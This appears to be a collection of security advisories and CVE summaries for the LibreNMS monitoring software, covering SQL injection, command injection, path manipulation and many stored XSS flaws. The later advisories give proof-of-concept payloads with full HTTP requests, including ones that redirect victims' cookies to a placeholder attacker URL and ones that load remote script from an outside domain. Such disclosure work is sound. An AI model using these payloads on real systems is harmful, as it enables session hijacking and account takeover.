LibreNMS 1.46 allows remote attackers to execute arbitrary OS commands by using the $POST['community'] parameter to html/pages/addhost.inc.php during creation of a new device, and then making a /ajaxoutput.php?id=capture&format=text&type=snmpwalk&hostname=localhost request that triggers html/includes/output/capture.inc.php command mishandling.
Cross-site Scripting (XSS) - Stored in GitHub repository librenms/librenms prior to 23.9.0.
Librenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php.
An issue was discovered in LibreNMS through 1.47. The scripts that handle the graphing options (html/includes/graphs/common.inc.php and html/includes/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqlirealescapestring, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php script. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, file content, denial of service, or writing arbitrary files.
LibreNMS v22.3.0 was discovered to contain multiple command injection vulnerabilities via the serviceip, hostname, and serviceparam parameters.
An issue was discovered in LibreNMS through 1.47. A number of scripts import the Authentication libraries, but do not enforce an actual authentication check. Several of these scripts disclose information or expose functions that are of a sensitive nature and are not expected to be publicly accessible.
Cross-site Scripting (XSS) - DOM in GitHub repository librenms/librenms prior to 23.9.0.
Deserialization of Untrusted Data in GitHub repository librenms/librenms prior to 22.10.0.
Summary SQL injection vulnerability in POST /search/search=packages in LibreNMS 24.3.0 allows a user with global read privileges to execute SQL commands via the package parameter.
Details There is a lack of hygiene of data coming from the user in line 83 of the file librenms/includes/html/pages/search/packages.inc.php !vulnerability
PoC https://doc.clickup.com/9013166444/p/h/8ckm0bc-53/16811991bb5fff6
Impact With this vulnerability, we can exploit a SQL injection time based vulnerability to extract all data from the database, such as administrator credentials
Cross-site Scripting (XSS) - DOM in GitHub repository librenms/librenms prior to 23.9.0.
Cross-site Scripting (XSS) - Generic in GitHub repository librenms/librenms prior to 23.9.0.
Cross-site Scripting (XSS) - Reflected in GitHub repository librenms/librenms prior to 23.9.0.
A second-order SQL injection issue in Widgets/TopDevicesController.php (aka the Top Devices dashboard widget) of LibreNMS before 21.1.0 allows remote authenticated attackers to execute arbitrary SQL commands via the sortorder parameter against the /ajax/form/widget-settings endpoint.
An issue was discovered in LibreNMS 1.50.1. The scripts that handle graphing options (includes/html/graphs/common.inc.php and includes/html/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqlirealescapestring, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php and html/graph-realtime.php scripts. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, disclosing file content, denial of service, or writing arbitrary files. NOTE: relative to CVE-2019-10665, this requires authentication and the pathnames differ.
An issue was discovered in LibreNMS through 1.47. It does not parameterize all user supplied input within database queries, resulting in SQL injection. An authenticated attacker can subvert these database queries to extract or manipulate data, as demonstrated by the graph.php sort parameter.
An issue was discovered in LibreNMS before 1.65.1. It has insufficient access control for normal users because of "'guard' => 'admin'" instead of "'middleware' => ['can:admin']" in routes/web.php.
LibreNMS through 1.47 allows SQL injection via the html/ajaxtable.php sort[hostname] parameter, exploitable by authenticated users during a search.
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shellexec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
Cross-site Scripting (XSS) - DOM in GitHub repository librenms/librenms prior to 23.9.1.
An issue was discovered in LibreNMS 1.50.1. A SQL injection flaw was identified in the ajaxrulesuggest.php file where the term parameter is used insecurely in a database query for showing columns of a table, as demonstrated by an ajaxrulesuggest.php?debug=1&term= request.
An issue was discovered in LibreNMS through 1.47. Several of the scripts perform dynamic script inclusion via the include() function on user supplied input without sanitizing the values by calling basename() or a similar function. An attacker can leverage this to execute PHP code from the included file. Exploitation of these scripts is made difficult by additional text being appended (typically .inc.php), which means an attacker would need to be able to control both a filename and its content on the server. However, exploitation can be achieved as demonstrated by the csv.php?report=../ substring.
SQL Injection in GitHub repository librenms/librenms prior to 23.10.0.
Cross-site Scripting (XSS) - Reflected in GitHub repository librenms/librenms 23.7.0 and prior. A patch is available at commit 91c57a1ee54631e071b6b0c952d99c8ee892e824 and anticiapted to be part of version 23.8.0.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.
For example, the following payload can be used to exploit the vulnerability: t'' autofocus onfocus="document.location='https://<attackerurl>/?c='+document.cookie"
When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.
The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output.
This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74
PoC 1. Add a new device using the following payload for the hostname: t'' autofocus onfocus="document.location='https://<attackerurl>/?c='+document.cookie" 2. Save the device. 3. Navigate to the device dependencies page. 4. Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.
Example Request: http POST /addhost HTTP/1.1 Host: <yourhost> X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <yourcookie>
token=<yourtoken>&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%<attackerurl>%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&osid=&snmpver=v2c&port=&transport=udp&portassocmode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&forceadd=on&Submit=
Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads.
For example, the following payload can be used: test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"
This payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker's controlled domain with any non-httponly cookies present.
The vulnerability stems from the application not sanitizing the value of $rule['name'] before adding it to the $enabledmsg variable. This is evident in the code:
https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405
PoC
1. Create a new alert rule in the LibreNMS interface. 2. In the "Title" field, input the following payload: test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie" 3. Save the rule and trigger the alert. 4. Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker's server.
Example Request: http POST /ajaxform.php HTTP/1.1 Host: <yourhost> X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: <yourXSRFtoken> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <yourcookie>
token=<yourtoken>&deviceid=-1&devicename=invalid+hostname&ruleid=17&type=alert-rules&templateid=&builderjson=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22accesspoints.accesspointid%22%2C%22field%22%3A%22accesspoints.accesspointid%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22notequal%22%2C%22value%22%3A%22test2'%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&name=test1''+autofocus+onfocus%3D%22document.location%3D'https%3A%2F%2F<attackerurl>%2Flogger.php%3Fc%3D'%2Bdocument.cookie%22&builderrule0filter=accesspoints.accesspointid&builderrule0operator=notequal&builderrule0value0=test2'%22&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=Test2'%22&overridequery=on&advquery=select+'test3'%22'%3B
Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Transports" feature allows authenticated users to inject arbitrary JavaScript through the "Details" section (which contains multiple fields depending on which transport is selected at that moment). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details The vulnerability occurs when creating an alert transport. The application does not properly sanitize the user input in the "Details" field, allowing an attacker to inject and store arbitrary JavaScript. This script is then executed in the context of the page whenever the alert transport is viewed or processed.
For instance, the following payload can be used to trigger the XSS: test1<script>{onerror=alert}throw 1337</script>
When the page containing the transport details is loaded, this payload causes the browser to execute the injected script, which in this case triggers an alert popup.
The root cause of the vulnerability is that the application does not sanitize the value of $instance->displayDetails before appending it to the HTML output. This is demonstrated in the following code: https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40
PoC 1. Create a new alert transport in the LibreNMS interface. 2. Depending on the transport chosen, just input the following payload in any field that ends up in the "Details" section: test1<script>{onerror=alert}throw 1337</script> 3. Save the transport and trigger the alert. 4. When the transport details are accessed, the injected script executes, displaying an alert popup.
Example Request:
http POST /ajaxform.php HTTP/1.1 Host: <yourhost> X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: <yourXSRFtoken> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <yourcookie>
token=<yourtoken>&transportid=2&type=alert-transports&name=Test1&transport-choice=canopsis-form&token=Ep6belaqXe5qE301CGmtoOWJ71gvRfBXjRyhXEpH&transport-type=canopsis&canopsis-host=localhost%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-port=5000&canopsis-user=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-pass=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-vhost=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E
Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details
The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.
The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to insufficient sanitization of the "tokenhash" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153
PoC
1. Create a new API token with the following payload in the "token" parameter: '"><script/src=//15.rs></script> 2. Save the token. 3. Navigate to the API Access page. 4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.
http POST /ajaxform.php HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: <yourtoken> X-Requested-With: XMLHttpRequest Cookie: <yourcookie>
token=<yourtoken>&userid=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create
Impact
The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.
Details When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attackerdomain>/logger.php?c='+document.cookie"
(Note: You may need to URL-encode the '+' sign in the payload.)
The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.
The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/capture.inc.php#L55
PoC 1. Create a new device with the following payload in the "hostname" parameter: test'" autofocus onfocus="document.location='https://<attackerdomain>/logger.php?c='+document.cookie" 2. Save the device. 3. Navigate to the "Capture Debug Information" page for the device. 4. Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.
Example Request: http POST /addhost HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attackerdomain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&osid=&snmpver=v2c&port=&transport=udp&portassocmode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&forceadd=on&Submit=
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "billname" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions.
Details When creating a new bill, an attacker can inject the following XSS payload into the "billname" parameter: test1'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309
PoC 1. Create a new bill using the following payload in the "billname" parameter: test1'"><script/src=//15.rs> 2. Save the bill. 3. Navigate to the "Manage Access" page for the user. 4. Observe that the injected script executes in the "Bill Access" dropdown.
Example Request: http POST /bill/billid=2/view=edit/ HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&action=updatebill&billname=test1%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&billtype=cdr&billcdr=&billcdrtype=Kbps&dir95th=in&billquota=&billquotatype=MB&billday=1&billcustid=test2%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&billref=test3%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&billnotes=test4%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&Submit=Save
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Manage Access" page. The attacker can perform unauthorized actions or compromise user accounts by exploiting this vulnerability.
Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.
Details When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter: <script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69
PoC 1. Create a new Port Group using the following payload in the "name" parameter: name<script/src=//15.rs></script> 2. Add the Port Group to a device's port settings. 3. Reload the "Port Settings" page. 4. Observe that the injected script executes.
Example Request: http POST /port-groups HTTP/1.1 Host: <yourhost> Content-Type: application/x-www-form-urlencoded Cookie: <yourcookie>
token=<yourtoken>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.